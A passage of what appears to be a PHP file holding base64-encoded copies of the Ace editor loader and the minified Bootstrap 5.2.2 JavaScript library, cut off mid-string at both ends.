lL2NvbmZpZyIsImFjZS9sb2FkZXJfYnVpbGQiXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO2UoIi4vbG9hZGVyX2J1aWxkIikodCk7dmFyIHI9ZSgiLi9saWIvZG9tIiksaT1lKCIuL2xpYi9ldmVudCIpLHM9ZSgiLi9yYW5nZSIpLlJhbmdlLG89ZSgiLi9lZGl0b3IiKS5FZGl0b3IsdT1lKCIuL2VkaXRfc2Vzc2lvbiIpLkVkaXRTZXNzaW9uLGE9ZSgiLi91bmRvbWFuYWdlciIpLlVuZG9NYW5hZ2VyLGY9ZSgiLi92aXJ0dWFsX3JlbmRlcmVyIikuVmlydHVhbFJlbmRlcmVyO2UoIi4vd29ya2VyL3dvcmtlcl9jbGllbnQiKSxlKCIuL2tleWJvYXJkL2hhc2hfaGFuZGxlciIpLGUoIi4vcGxhY2Vob2xkZXIiKSxlKCIuL211bHRpX3NlbGVjdCIpLGUoIi4vbW9kZS9mb2xkaW5nL2ZvbGRfbW9kZSIpLGUoIi4vdGhlbWUvdGV4dG1hdGUiKSxlKCIuL2V4dC9lcnJvcl9tYXJrZXIiKSx0LmNvbmZpZz1lKCIuL2NvbmZpZyIpLHQuZWRpdD1mdW5jdGlvbihlLG4pe2lmKHR5cGVvZiBlPT0ic3RyaW5nIil7dmFyIHM9ZTtlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHMpO2lmKCFlKXRocm93IG5ldyBFcnJvcigiYWNlLmVkaXQgY2FuJ3QgZmluZCBkaXYgIyIrcyl9aWYoZSYmZS5lbnYmJmUuZW52LmVkaXRvciBpbnN0YW5jZW9mIG8pcmV0dXJuIGUuZW52LmVkaXRvcjt2YXIgdT0iIjtpZihlJiYvaW5wdXR8dGV4dGFyZWEvaS50ZXN0KGUudGFnTmFtZSkpe3ZhciBhPWU7dT1hLnZhbHVlLGU9ci5jcmVhdGVFbGVtZW50KCJwcmUiKSxhLnBhcmVudE5vZGUucmVwbGFjZUNoaWxkKGUsYSl9ZWxzZSBlJiYodT1lLnRleHRDb250ZW50LGUuaW5uZXJIVE1MPSIiKTt2YXIgbD10LmNyZWF0ZUVkaXRTZXNzaW9uKHUpLGM9bmV3IG8obmV3IGYoZSksbCxuKSxoPXtkb2N1bWVudDpsLGVkaXRvcjpjLG9uUmVzaXplOmMucmVzaXplLmJpbmQoYyxudWxsKX07cmV0dXJuIGEmJihoLnRleHRhcmVhPWEpLGkuYWRkTGlzdGVuZXIod2luZG93LCJyZXNpemUiLGgub25SZXNpemUpLGMub24oImRlc3Ryb3kiLGZ1bmN0aW9uKCl7aS5yZW1vdmVMaXN0ZW5lcih3aW5kb3csInJlc2l6ZSIsaC5vblJlc2l6ZSksaC5lZGl0b3IuY29udGFpbmVyLmVudj1udWxsfSksYy5jb250YWluZXIuZW52PWMuZW52PWgsY30sdC5jcmVhdGVFZGl0U2Vzc2lvbj1mdW5jdGlvbihlLHQpe3ZhciBuPW5ldyB1KGUsdCk7cmV0dXJuIG4uc2V0VW5kb01hbmFnZXIobmV3IGEpLG59LHQuUmFuZ2U9cyx0LkVkaXRvcj1vLHQuRWRpdFNlc3Npb249dSx0LlVuZG9NYW5hZ2VyPWEsdC5WaXJ0dWFsUmVuZGVyZXI9Zix0LnZlcnNpb249dC5jb25maWcudmVyc2lvbn0pOyAgICAgICAgICAgIChmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgIHdpbmRvdy5yZXF1aXJlKFsiYWNlL2FjZSJdLCBmdW5jdGlvbihhKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgYS5jb25maWcuaW5pdCh0cnVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgYS5kZWZpbmUgPSB3aW5kb3cuZGVmaW5lOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoIXdpbmRvdy5hY2UpCiAgICAgICAgICAgICAgICAgICAgICAgIHdpbmRvdy5hY2UgPSBhOwogICAgICAgICAgICAgICAgICAgIGZvciAodmFyIGtleSBpbiBhKSBpZiAoYS5oYXNPd25Qcm9wZXJ0eShrZXkpKQogICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cuYWNlW2tleV0gPSBhW2tleV07CiAgICAgICAgICAgICAgICAgICAgd2luZG93LmFjZVsiZGVmYXVsdCJdID0gd2luZG93LmFjZTsKICAgICAgICAgICAgICAgICAgICBpZiAodHlwZW9mIG1vZHVsZSA9PSAib2JqZWN0IiAmJiB0eXBlb2YgZXhwb3J0cyA9PSAib2JqZWN0IiAmJiBtb2R1bGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgbW9kdWxlLmV4cG9ydHMgPSB3aW5kb3cuYWNlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9KSgpOwogICAgICAgIA==', 'js-bootstrap' => 'LyohCiAgKiBCb290c3RyYXAgdjUuMi4yIChodHRwczovL2dldGJvb3RzdHJhcC5jb20vKQogICogQ29weXJpZ2h0IDIwMTEtMjAyMiBUaGUgQm9vdHN0cmFwIEF1dGhvcnMgKGh0dHBzOi8vZ2l0aHViLmNvbS90d2JzL2Jvb3RzdHJhcC9ncmFwaHMvY29udHJpYnV0b3JzKQogICogTGljZW5zZWQgdW5kZXIgTUlUIChodHRwczovL2dpdGh1Yi5jb20vdHdicy9ib290c3RyYXAvYmxvYi9tYWluL0xJQ0VOU0UpCiAgKi8KIWZ1bmN0aW9uKHQsZSl7Im9iamVjdCI9PXR5cGVvZiBleHBvcnRzJiYidW5kZWZpbmVkIiE9dHlwZW9mIG1vZHVsZT9tb2R1bGUuZXhwb3J0cz1lKCk6ImZ1bmN0aW9uIj09dHlwZW9mIGRlZmluZSYmZGVmaW5lLmFtZD9kZWZpbmUoZSk6KHQ9InVuZGVmaW5lZCIhPXR5cGVvZiBnbG9iYWxUaGlzP2dsb2JhbFRoaXM6dHx8c2VsZikuYm9vdHN0cmFwPWUoKX0odGhpcywoZnVuY3Rpb24oKXsidXNlIHN0cmljdCI7Y29uc3QgdD0idHJhbnNpdGlvbmVuZCIsZT10PT57bGV0IGU9dC5nZXRBdHRyaWJ1dGUoImRhdGEtYnMtdGFyZ2V0Iik7aWYoIWV8fCIjIj09PWUpe2xldCBpPXQuZ2V0QXR0cmlidXRlKCJocmVmIik7aWYoIWl8fCFpLmluY2x1ZGVzKCIjIikmJiFpLnN0YXJ0c1dpdGgoIi4iKSlyZXR1cm4gbnVsbDtpLmluY2x1ZGVzKCIjIikmJiFpLnN0YXJ0c1dpdGgoIiMiKSYmKGk9YCMke2kuc3BsaXQoIiMiKVsxXX1gKSxlPWkmJiIjIiE9PWk/aS50cmltKCk6bnVsbH1yZXR1cm4gZX0saT10PT57Y29uc3QgaT1lKHQpO3JldHVybiBpJiZkb2N1bWVudC5xdWVyeVNlbGVjdG9yKGkpP2k6bnVsbH0sbj10PT57Y29uc3QgaT1lKHQpO3JldHVybiBpP2RvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoaSk6bnVsbH0scz1lPT57ZS5kaXNwYXRjaEV2ZW50KG5ldyBFdmVudCh0KSl9LG89dD0+ISghdHx8Im9iamVjdCIhPXR5cGVvZiB0KSYmKHZvaWQgMCE9PXQuanF1ZXJ5JiYodD10WzBdKSx2b2lkIDAhPT10Lm5vZGVUeXBlKSxyPXQ9Pm8odCk/dC5qcXVlcnk/dFswXTp0OiJzdHJpbmciPT10eXBlb2YgdCYmdC5sZW5ndGg+MD9kb2N1bWVudC5xdWVyeVNlbGVjdG9yKHQpOm51bGwsYT10PT57aWYoIW8odCl8fDA9PT10LmdldENsaWVudFJlY3RzKCkubGVuZ3RoKXJldHVybiExO2NvbnN0IGU9InZpc2libGUiPT09Z2V0Q29tcHV0ZWRTdHlsZSh0KS5nZXRQcm9wZXJ0eVZhbHVlKCJ2aXNpYmlsaXR5IiksaT10LmNsb3Nlc3QoImRldGFpbHM6bm90KFtvcGVuXSkiKTtpZighaSlyZXR1cm4gZTtpZihpIT09dCl7Y29uc3QgZT10LmNsb3Nlc3QoInN1bW1hcnkiKTtpZihlJiZlLnBhcmVudE5vZGUhPT1pKXJldHVybiExO2lmKG51bGw9PT1lKXJldHVybiExfXJldHVybiBlfSxsPXQ9PiF0fHx0Lm5vZGVUeXBlIT09Tm9kZS5FTEVNRU5UX05PREV8fCEhdC5jbGFzc0xpc3QuY29udGFpbnMoImRpc2FibGVkIil8fCh2b2lkIDAhPT10LmRpc2FibGVkP3QuZGlzYWJsZWQ6dC5oYXNBdHRyaWJ1dGUoImRpc2FibGVkIikmJiJmYWxzZSIhPT10LmdldEF0dHJpYnV0ZSgiZGlzYWJsZWQiKSksYz10PT57aWYoIWRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5hdHRhY2hTaGFkb3cpcmV0dXJuIG51bGw7aWYoImZ1bmN0aW9uIj09dHlwZW9mIHQuZ2V0Um9vdE5vZGUpe2NvbnN0IGU9dC5nZXRSb290Tm9kZSgpO3JldHVybiBlIGluc3RhbmNlb2YgU2hhZG93Um9vdD9lOm51bGx9cmV0dXJuIHQgaW5zdGFuY2VvZiBTaGFkb3dSb290P3Q6dC5wYXJlbnROb2RlP2ModC5wYXJlbnROb2RlKTpudWxsfSxoPSgpPT57fSxkPXQ9Pnt0Lm9mZnNldEhlaWdodH0sdT0oKT0+d2luZG93LmpRdWVyeSYmIWRvY3VtZW50LmJvZHkuaGFzQXR0cmlidXRlKCJkYXRhLWJzLW5vLWpxdWVyeSIpP3dpbmRvdy5qUXVlcnk6bnVsbCxmPVtdLHA9KCk9PiJydGwiPT09ZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmRpcixnPXQ9Pnt2YXIgZTtlPSgpPT57Y29uc3QgZT11KCk7aWYoZSl7Y29uc3QgaT10Lk5BTUUsbj1lLmZuW2ldO2UuZm5baV09dC5qUXVlcnlJbnRlcmZhY2UsZS5mbltpXS5Db25zdHJ1Y3Rvcj10LGUuZm5baV0ubm9Db25mbGljdD0oKT0+KGUuZm5baV09bix0LmpRdWVyeUludGVyZmFjZSl9fSwibG9hZGluZyI9PT1kb2N1bWVudC5yZWFkeVN0YXRlPyhmLmxlbmd0aHx8ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsKCgpPT57Zm9yKGNvbnN0IHQgb2YgZil0KCl9KSksZi5wdXNoKGUpKTplKCl9LG09dD0+eyJmdW5jdGlvbiI9PXR5cGVvZiB0JiZ0KCl9LF89KGUsaSxuPSEwKT0+e2lmKCFuKXJldHVybiB2b2lkIG0oZSk7Y29uc3Qgbz0odD0+e2lmKCF0KXJldHVybiAwO2xldHt0cmFuc2l0aW9uRHVyYXRpb246ZSx0cmFuc2l0aW9uRGVsYXk6aX09d2luZG93LmdldENvbXB1dGVkU3R5bGUodCk7Y29uc3Qgbj1OdW1iZXIucGFyc2VGbG9hdChlKSxzPU51bWJlci5wYXJzZUZsb2F0KGkpO3JldHVybiBufHxzPyhlPWUuc3BsaXQoIiwiKVswXSxpPWkuc3BsaXQoIiwiKVswXSwxZTMqKE51bWJlci5wYXJzZUZsb2F0KGUpK051bWJlci5wYXJzZUZsb2F0KGkpKSk6MH0pKGkpKzU7bGV0IHI9ITE7Y29uc3QgYT0oe3RhcmdldDpufSk9PntuPT09aSYmKHI9ITAsaS5yZW1vdmVFdmVudExpc3RlbmVyKHQsYSksbShlKSl9O2kuYWRkRXZlbnRMaXN0ZW5lcih0LGEpLHNldFRpbWVvdXQoKCgpPT57cnx8cyhpKX0pLG8pfSxiPSh0LGUsaSxuKT0+e2NvbnN0IHM9dC5sZW5ndGg7bGV0IG89dC5pbmRleE9mKGUpO3JldHVybi0xPT09bz8haSYmbj90W3MtMV06dFswXToobys9aT8xOi0xLG4mJihvPShvK3MpJXMpLHRbTWF0aC5tYXgoMCxNYXRoLm1pbihvLHMtMSkpXSl9LHY9L1teLl0qKD89XC4uKilcLnwuKi8seT0vXC4uKi8sdz0vOjpcZCskLyxBPXt9O2xldCBFPTE7Y29uc3QgVD17bW91c2VlbnRlcjoibW91c2VvdmVyIixtb3VzZWxlYXZlOiJtb3VzZW91dCJ9LEM9bmV3IFNldChbImNsaWNrIiwiZGJsY2xpY2siLCJtb3VzZXVwIiwibW91c2Vkb3duIiwiY29udGV4dG1lbnUiLCJtb3VzZXdoZWVsIiwiRE9NTW91c2VTY3JvbGwiLCJtb3VzZW92ZXIiLCJtb3VzZW91dCIsIm1vdXNlbW92ZSIsInNlbGVjdHN0YXJ0Iiwic2VsZWN0ZW5kIiwia2V5ZG93biIsImtleXByZXNzIiwia2V5dXAiLCJvcmllbnRhdGlvbmNoYW5nZSIsInRvdWNoc3RhcnQiLCJ0b3VjaG1vdmUiLCJ0b3VjaGVuZCIsInRvdWNoY2FuY2VsIiwicG9pbnRlcmRvd24iLCJwb2ludGVybW92ZSIsInBvaW50ZXJ1cCIsInBvaW50ZXJsZWF2ZSIsInBvaW50ZXJjYW5jZWwiLCJnZXN0dXJlc3RhcnQiLCJnZXN0dXJlY2hhbmdlIiwiZ2VzdHVyZWVuZCIsImZvY3VzIiwiYmx1ciIsImNoYW5nZSIsInJlc2V0Iiwic2VsZWN0Iiwic3VibWl0IiwiZm9jdXNpbiIsImZvY3Vzb3V0IiwibG9hZCIsInVubG9hZCIsImJlZm9yZXVubG9hZCIsInJlc2l6ZSIsIm1vdmUiLCJET01Db250ZW50TG9hZGVkIiwicmVhZHlzdGF0ZWNoYW5nZSIsImVycm9yIiwiYWJvcnQiLCJzY3JvbGwiXSk7ZnVuY3Rpb24gTyh0LGUpe3JldHVybiBlJiZgJHtlfTo6JHtFKyt9YHx8dC51aWRFdmVudHx8RSsrfWZ1bmN0aW9uIHgodCl7Y29uc3QgZT1PKHQpO3JldHVybiB0LnVpZEV2ZW50PWUsQVtlXT1BW2VdfHx7fSxBW2VdfWZ1bmN0aW9uIGsodCxlLGk9bnVsbCl7cmV0dXJuIE9iamVjdC52YWx1ZXModCkuZmluZCgodD0+dC5jYWxsYWJsZT09PWUmJnQuZGVsZWdhdGlvblNlbGVjdG9yPT09aSkpfWZ1bmN0aW9uIEwodCxlLGkpe2NvbnN0IG49InN0cmluZyI9PXR5cGVvZiBlLHM9bj9pOmV8fGk7bGV0IG89Tih0KTtyZXR1cm4gQy5oYXMobyl8fChvPXQpLFtuLHMsb119ZnVuY3Rpb24gRCh0LGUsaSxuLHMpe2lmKCJzdHJpbmciIT10eXBlb2YgZXx8IXQpcmV0dXJuO2xldFtvLHIsYV09TChlLGksbik7aWYoZSBpbiBUKXtjb25zdCB0PXQ9PmZ1bmN0aW9uKGUpe2lmKCFlLnJlbGF0ZWRUYXJnZXR8fGUucmVsYXRlZFRhcmdldCE9PWUuZGVsZWdhdGVUYXJnZXQmJiFlLmRlbGVnYXRlVGFyZ2V0LmNvbnRhaW5zKGUucmVsYXRlZFRhcmdldCkpcmV0dXJuIHQuY2FsbCh0aGlzLGUpfTtyPXQocil9Y29uc3QgbD14KHQpLGM9bFthXXx8KGxbYV09e30pLGg9ayhjLHIsbz9pOm51bGwpO2lmKGgpcmV0dXJuIHZvaWQoaC5vbmVPZmY9aC5vbmVPZmYmJnMpO2NvbnN0IGQ9TyhyLGUucmVwbGFjZSh2LCIiKSksdT1vP2Z1bmN0aW9uKHQsZSxpKXtyZXR1cm4gZnVuY3Rpb24gbihzKXtjb25zdCBvPXQucXVlcnlTZWxlY3RvckFsbChlKTtmb3IobGV0e3RhcmdldDpyfT1zO3ImJnIhPT10aGlzO3I9ci5wYXJlbnROb2RlKWZvcihjb25zdCBhIG9mIG8paWYoYT09PXIpcmV0dXJuIGoocyx7ZGVsZWdhdGVUYXJnZXQ6cn0pLG4ub25lT2ZmJiZQLm9mZih0LHMudHlwZSxlLGkpLGkuYXBwbHkocixbc10pfX0odCxpLHIpOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIGZ1bmN0aW9uIGkobil7cmV0dXJuIGoobix7ZGVsZWdhdGVUYXJnZXQ6dH0pLGkub25lT2ZmJiZQLm9mZih0LG4udHlwZSxlKSxlLmFwcGx5KHQsW25dKX19KHQscik7dS5kZWxlZ2F0aW9uU2VsZWN0b3I9bz9pOm51bGwsdS5jYWxsYWJsZT1yLHUub25lT2ZmPXMsdS51aWRFdmVudD1kLGNbZF09dSx0LmFkZEV2ZW50TGlzdGVuZXIoYSx1LG8pfWZ1bmN0aW9uIFModCxlLGksbixzKXtjb25zdCBvPWsoZVtpXSxuLHMpO28mJih0LnJlbW92ZUV2ZW50TGlzdGVuZXIoaSxvLEJvb2xlYW4ocykpLGRlbGV0ZSBlW2ldW28udWlkRXZlbnRdKX1mdW5jdGlvbiBJKHQsZSxpLG4pe2NvbnN0IHM9ZVtpXXx8e307Zm9yKGNvbnN0IG8gb2YgT2JqZWN0LmtleXMocykpaWYoby5pbmNsdWRlcyhuKSl7Y29uc3Qgbj1zW29dO1ModCxlLGksbi5jYWxsYWJsZSxuLmRlbGVnYXRpb25TZWxlY3Rvcil9fWZ1bmN0aW9uIE4odCl7cmV0dXJuIHQ9dC5yZXBsYWNlKHksIiIpLFRbdF18fHR9Y29uc3QgUD17b24odCxlLGksbil7RCh0LGUsaSxuLCExKX0sb25lKHQsZSxpLG4pe0QodCxlLGksbiwhMCl9LG9mZih0LGUsaSxuKXtpZigic3RyaW5nIiE9dHlwZW9mIGV8fCF0KXJldHVybjtjb25zdFtzLG8scl09TChlLGksbiksYT1yIT09ZSxsPXgodCksYz1sW3JdfHx7fSxoPWUuc3RhcnRzV2l0aCgiLiIpO2lmKHZvaWQgMD09PW8pe2lmKGgpZm9yKGNvbnN0IGkgb2YgT2JqZWN0LmtleXMobCkpSSh0LGwsaSxlLnNsaWNlKDEpKTtmb3IoY29uc3QgaSBvZiBPYmplY3Qua2V5cyhjKSl7Y29uc3Qgbj1pLnJlcGxhY2UodywiIik7aWYoIWF8fGUuaW5jbHVkZXMobikpe2NvbnN0IGU9Y1tpXTtTKHQsbCxyLGUuY2FsbGFibGUsZS5kZWxlZ2F0aW9uU2VsZWN0b3IpfX19ZWxzZXtpZighT2JqZWN0LmtleXMoYykubGVuZ3RoKXJldHVybjtTKHQsbCxyLG8scz9pOm51bGwpfX0sdHJpZ2dlcih0LGUsaSl7aWYoInN0cmluZyIhPXR5cGVvZiBlfHwhdClyZXR1cm4gbnVsbDtjb25zdCBuPXUoKTtsZXQgcz1udWxsLG89ITAscj0hMCxhPSExO2UhPT1OKGUpJiZuJiYocz1uLkV2ZW50KGUsaSksbih0KS50cmlnZ2VyKHMpLG89IXMuaXNQcm9wYWdhdGlvblN0b3BwZWQoKSxyPSFzLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkKCksYT1zLmlzRGVmYXVsdFByZXZlbnRlZCgpKTtsZXQgbD1uZXcgRXZlbnQoZSx7YnViYmxlczpvLGNhbmNlbGFibGU6ITB9KTtyZXR1cm4gbD1qKGwsaSksYSYmbC5wcmV2ZW50RGVmYXVsdCgpLHImJnQuZGlzcGF0Y2hFdmVudChsKSxsLmRlZmF1bHRQcmV2ZW50ZWQmJnMmJnMucHJldmVudERlZmF1bHQoKSxsfX07ZnVuY3Rpb24gaih0LGUpe2Zvcihjb25zdFtpLG5db2YgT2JqZWN0LmVudHJpZXMoZXx8e30pKXRyeXt0W2ldPW59Y2F0Y2goZSl7T2JqZWN0LmRlZmluZVByb3BlcnR5KHQsaSx7Y29uZmlndXJhYmxlOiEwLGdldDooKT0+bn0pfXJldHVybiB0fWNvbnN0IE09bmV3IE1hcCxIPXtzZXQodCxlLGkpe00uaGFzKHQpfHxNLnNldCh0LG5ldyBNYXApO2NvbnN0IG49TS5nZXQodCk7bi5oYXMoZSl8fDA9PT1uLnNpemU/bi5zZXQoZSxpKTpjb25zb2xlLmVycm9yKGBCb290c3RyYXAgZG9lc24ndCBhbGxvdyBtb3JlIHRoYW4gb25lIGluc3RhbmNlIHBlciBlbGVtZW50LiBCb3VuZCBpbnN0YW5jZTogJHtBcnJheS5mcm9tKG4ua2V5cygpKVswXX0uYCl9LGdldDoodCxlKT0+TS5oYXModCkmJk0uZ2V0KHQpLmdldChlKXx8bnVsbCxyZW1vdmUodCxlKXtpZighTS5oYXModCkpcmV0dXJuO2NvbnN0IGk9TS5nZXQodCk7aS5kZWxldGUoZSksMD09PWkuc2l6ZSYmTS5kZWxldGUodCl9fTtmdW5jdGlvbiAkKHQpe2lmKCJ0cnVlIj09PXQpcmV0dXJuITA7aWYoImZhbHNlIj09PXQpcmV0dXJuITE7aWYodD09PU51bWJlcih0KS50b1N0cmluZygpKXJldHVybiBOdW1iZXIodCk7aWYoIiI9PT10fHwibnVsbCI9PT10KXJldHVybiBudWxsO2lmKCJzdHJpbmciIT10eXBlb2YgdClyZXR1cm4gdDt0cnl7cmV0dXJuIEpTT04ucGFyc2UoZGVjb2RlVVJJQ29tcG9uZW50KHQpKX1jYXRjaChlKXtyZXR1cm4gdH19ZnVuY3Rpb24gVyh0KXtyZXR1cm4gdC5yZXBsYWNlKC9bQS1aXS9nLCh0PT5gLSR7dC50b0xvd2VyQ2FzZSgpfWApKX1jb25zdCBCPXtzZXREYXRhQXR0cmlidXRlKHQsZSxpKXt0LnNldEF0dHJpYnV0ZShgZGF0YS1icy0ke1coZSl9YCxpKX0scmVtb3ZlRGF0YUF0dHJpYnV0ZSh0LGUpe3QucmVtb3ZlQXR0cmlidXRlKGBkYXRhLWJzLSR7VyhlKX1gKX0sZ2V0RGF0YUF0dHJpYnV0ZXModCl7aWYoIXQpcmV0dXJue307Y29uc3QgZT17fSxpPU9iamVjdC5rZXlzKHQuZGF0YXNldCkuZmlsdGVyKCh0PT50LnN0YXJ0c1dpdGgoImJzIikmJiF0LnN0YXJ0c1dpdGgoImJzQ29uZmlnIikpKTtmb3IoY29uc3QgbiBvZiBpKXtsZXQgaT1uLnJlcGxhY2UoL15icy8sIiIpO2k9aS5jaGFyQXQoMCkudG9Mb3dlckNhc2UoKStpLnNsaWNlKDEsaS5sZW5ndGgpLGVbaV09JCh0LmRhdGFzZXRbbl0pfXJldHVybiBlfSxnZXREYXRhQXR0cmlidXRlOih0LGUpPT4kKHQuZ2V0QXR0cmlidXRlKGBkYXRhLWJzLSR7VyhlKX1gKSl9O2NsYXNzIEZ7c3RhdGljIGdldCBEZWZhdWx0KCl7cmV0dXJue319c3RhdGljIGdldCBEZWZhdWx0VHlwZSgpe3JldHVybnt9fXN0YXRpYyBnZXQgTkFNRSgpe3Rocm93IG5ldyBFcnJvcignWW91IGhhdmUgdG8gaW1wbGVtZW50IHRoZSBzdGF0aWMgbWV0aG9kICJOQU1FIiwgZm9yIGVhY2ggY29tcG9uZW50IScpfV9nZXRDb25maWcodCl7cmV0dXJuIHQ9dGhpcy5fbWVyZ2VDb25maWdPYmoodCksdD10aGlzLl9jb25maWdBZnRlck1lcmdlKHQpLHRoaXMuX3R5cGVDaGVja0NvbmZpZyh0KSx0fV9jb25maWdBZnRlck1lcmdlKHQpe3JldHVybiB0fV9tZXJnZUNvbmZpZ09iaih0LGUpe2NvbnN0IGk9byhlKT9CLmdldERhdGFBdHRyaWJ1dGUoZSwiY29uZmlnIik6e307cmV0dXJuey4uLnRoaXMuY29uc3RydWN0b3IuRGVmYXVsdCwuLi4ib2JqZWN0Ij09dHlwZW9mIGk/aTp7fSwuLi5vKGUpP0IuZ2V0RGF0YUF0dHJpYnV0ZXMoZSk6e30sLi4uIm9iamVjdCI9PXR5cGVvZiB0P3Q6e319fV90eXBlQ2hlY2tDb25maWcodCxlPXRoaXMuY29uc3RydWN0b3IuRGVmYXVsdFR5cGUpe2Zvcihjb25zdCBuIG9mIE9iamVjdC5rZXlzKGUpKXtjb25zdCBzPWVbbl0scj10W25dLGE9byhyKT8iZWxlbWVudCI6bnVsbD09KGk9cik/YCR7aX1gOk9iamVjdC5wcm90b3R5cGUudG9TdHJpbmcuY2FsbChpKS5tYXRjaCgvXHMoW2Etel0rKS9pKVsxXS50b0xvd2VyQ2FzZSgpO2lmKCFuZXcgUmVnRXhwKHMpLnRlc3QoYSkpdGhyb3cgbmV3IFR5cGVFcnJvcihgJHt0aGlzLmNvbnN0cnVjdG9yLk5BTUUudG9VcHBlckNhc2UoKX06IE9wdGlvbiAiJHtufSIgcHJvdmlkZWQgdHlwZSAiJHthfSIgYnV0IGV4cGVjdGVkIHR5cGUgIiR7c30iLmApfXZhciBpfX1jbGFzcyB6IGV4dGVuZHMgRntjb25zdHJ1Y3Rvcih0LGUpe3N1cGVyKCksKHQ9cih0KSkmJih0aGlzLl9lbGVtZW50PXQsdGhpcy5fY29uZmlnPXRoaXMuX2dldENvbmZpZyhlKSxILnNldCh0aGlzLl9lbGVtZW50LHRoaXMuY29uc3RydWN0b3IuREFUQV9LRVksdGhpcykpfWRpc3Bvc2UoKXtILnJlbW92ZSh0aGlzLl9lbGVtZW50LHRoaXMuY29uc3RydWN0b3IuREFUQV9LRVkpLFAub2ZmKHRoaXMuX2VsZW1lbnQsdGhpcy5jb25zdHJ1Y3Rvci5FVkVOVF9LRVkpO2Zvcihjb25zdCB0IG9mIE9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKHRoaXMpKXRoaXNbdF09bnVsbH1fcXVldWVDYWxsYmFjayh0LGUsaT0hMCl7Xyh0LGUsaSl9X2dldENvbmZpZyh0KXtyZXR1cm4gdD10aGlzLl9tZXJnZUNvbmZpZ09iaih0LHRoaXMuX2VsZW1lbnQpLHQ9dGhpcy5fY29uZmlnQWZ0ZXJNZXJnZSh0KSx0aGlzLl90eXBlQ2hlY2tDb25maWcodCksdH1zdGF0aWMgZ2V0SW5zdGFuY2UodCl7cmV0dXJuIEguZ2V0KHIodCksdGhpcy5EQVRBX0tFWSl9c3RhdGljIGdldE9yQ3JlYXRlSW5zdGFuY2UodCxlPXt9KXtyZXR1cm4gdGhpcy5nZXRJbnN0YW5jZSh0KXx8bmV3IHRoaXModCwib2JqZWN0Ij09dHlwZW9mIGU/ZTpudWxsKX1zdGF0aWMgZ2V0IFZFUlNJT04oKXtyZXR1cm4iNS4yLjIifXN0YXRpYyBnZXQgREFUQV9LRVkoKXtyZXR1cm5gYnMuJHt0aGlzLk5BTUV9YH1zdGF0aWMgZ2V0IEVWRU5UX0tFWSgpe3JldHVybmAuJHt0aGlzLkRBVEFfS0VZfWB9c3RhdGljIGV2ZW50TmFtZSh0KXtyZXR1cm5gJHt0fSR7dGhpcy5FVkVOVF9LRVl9YH19Y29uc3QgcT0odCxlPSJoaWRlIik9Pntjb25zdCBpPWBjbGljay5kaXNtaXNzJHt0LkVWRU5UX0tFWX1gLHM9dC5OQU1FO1Aub24oZG9jdW1lbnQsaSxgW2RhdGEtYnMtZGlzbWlzcz0iJHtzfSJdYCwoZnVuY3Rpb24oaSl7aWYoWyJBIiwiQVJFQSJdLmluY2x1ZGVzKHRoaXMudGFnTmFtZSkmJmkucHJldmVudERlZmF1bHQoKSxsKHRoaXMpKXJldHVybjtjb25zdCBvPW4odGhpcyl8fHRoaXMuY2xvc2VzdChgLiR7c31gKTt0LmdldE9yQ3JlYXRlSW5zdGFuY2UobylbZV0oKX0pKX07Y2xhc3MgUiBleHRlbmRzIHp7c3RhdGljIGdldCBOQU1FKCl7cmV0dXJuImFsZXJ0In1jbG9zZSgpe2lmKFAudHJpZ2dlcih0aGlzLl9lbGVtZW50LCJjbG9zZS5icy5hbGVydCIpLmRlZmF1bHRQcmV2ZW50ZWQpcmV0dXJuO3RoaXMuX2VsZW1lbnQuY2xhc3NMaXN0LnJlbW92ZSgic2hvdyIpO2NvbnN0IHQ9dGhpcy5fZWxlbWVudC5jbGFzc0xpc3QuY29udGFpbnMoImZhZGUiKTt0aGlzLl9xdWV1ZUNhbGxiYWNrKCgoKT0+dGhpcy5fZGVzdHJveUVsZW1lbnQoKSksdGhpcy5fZWxlbWVudCx0KX1fZGVzdHJveUVsZW1lbnQoKXt0aGlzLl9lbGVtZW50LnJlbW92ZSgpLFAudHJpZ2dlcih0aGlzLl9lbGVtZW50LCJjbG9zZWQuYnMuYWxlcnQiKSx0aGlzLmRpc3Bvc2UoKX1zdGF0aWMgalF1ZXJ5SW50ZXJmYWNlKHQpe3JldHVybiB0aGlzLmVhY2goKGZ1bmN0aW9uKCl7Y29uc3QgZT1SLmdldE9yQ3JlYXRlSW5zdGFuY2UodGhpcyk7aWYoInN0cmluZyI9PXR5cGVvZiB0KXtpZih2b2lkIDA9PT1lW3RdfHx0LnN0YXJ0c1dpdGgoIl8iKXx8ImNvbnN0cnVjdG9yIj09PXQpdGhyb3cgbmV3IFR5cGVFcnJvcihgTm8gbWV0aG9kIG5hbWVkICIke3R9ImApO2VbdF0odGhpcyl9fSkpfX1xKFIsImNsb3NlIiksZyhSKTtjb25zdCBWPSdbZGF0YS1icy10b2dnbGU9ImJ1dHRvbiJdJztjbGFzcyBLIGV4dGVuZHMgentzdGF0aWMgZ2V0IE5BTUUoKXtyZXR1cm4iYnV0dG9uIn10b2dnbGUoKXt0aGlzLl9lbGVtZW50LnNldEF0dHJpYnV0ZSgiYXJpYS1wcmVzc2VkIix0aGlzLl9lbGVtZW50LmNsYXNzTGlzdC50b2dnbGUoImFjdGl2ZSIpKX1zdGF0aWMgalF1ZXJ5SW50ZXJmYWNlKHQpe3JldHVybiB0aGlzLmVhY2goKGZ1bmN0aW9uKCl7Y29uc3QgZT1LLmdldE9yQ3JlYXRlSW5zdGFuY2UodGhpcyk7InRvZ2dsZSI9PT10JiZlW3RdKCl9KSl9fVAub24oZG9jdW1lbnQsImNs